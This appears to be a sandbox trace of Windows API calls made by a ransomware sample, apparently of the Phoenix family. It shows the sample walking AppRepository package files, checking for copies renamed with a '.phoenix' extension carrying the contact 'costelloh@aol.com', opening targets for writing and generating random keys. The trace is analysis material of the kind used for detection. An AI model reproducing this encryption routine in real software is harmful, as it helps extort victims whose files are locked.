	[0262.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.855] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.856] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=28672) returned 1
	[0262.856] CloseHandle (hObject=0x2e0) returned 1
	[0262.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.856] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.857] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.857] CloseHandle (hObject=0x2e0) returned 1
	[0262.857] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.020] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2920) returned 1
	[0263.020] CloseHandle (hObject=0x254) returned 1
	[0263.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0263.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.020] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.020] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.020] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.021] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0263.021] CloseHandle (hObject=0x254) returned 1
	[0263.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0263.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.022] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.022] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.022] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.022] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0263.022] CloseHandle (hObject=0x254) returned 1
	[0263.022] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.022] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.023] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1772) returned 1
	[0263.023] CloseHandle (hObject=0x254) returned 1
	[0263.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0263.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.ContactSupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.contactsupport_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.024] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.024] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0263.024] CloseHandle (hObject=0x254) returned 1
	[0263.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0263.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.025] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.025] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0263.025] CloseHandle (hObject=0x254) returned 1
	[0263.025] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.025] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.026] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1924) returned 1
	[0263.026] CloseHandle (hObject=0x254) returned 1
	[0263.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0263.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.026] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.immersivecontrolpanel_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.026] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.026] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.027] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0263.027] CloseHandle (hObject=0x254) returned 1
	[0263.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0263.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.027] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.028] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.028] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0263.028] CloseHandle (hObject=0x254) returned 1
	[0263.028] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.029] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1892) returned 1
	[0263.029] CloseHandle (hObject=0x254) returned 1
	[0263.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0263.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.MiracastView_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.miracastview_6.3.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.029] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.030] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.031] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0263.031] CloseHandle (hObject=0x254) returned 1
	[0263.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0263.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.033] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.033] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0263.033] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Windows.PrintDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\windows.printdialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0263.034] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0263.034] CloseHandle (hObject=0x254) returned 1
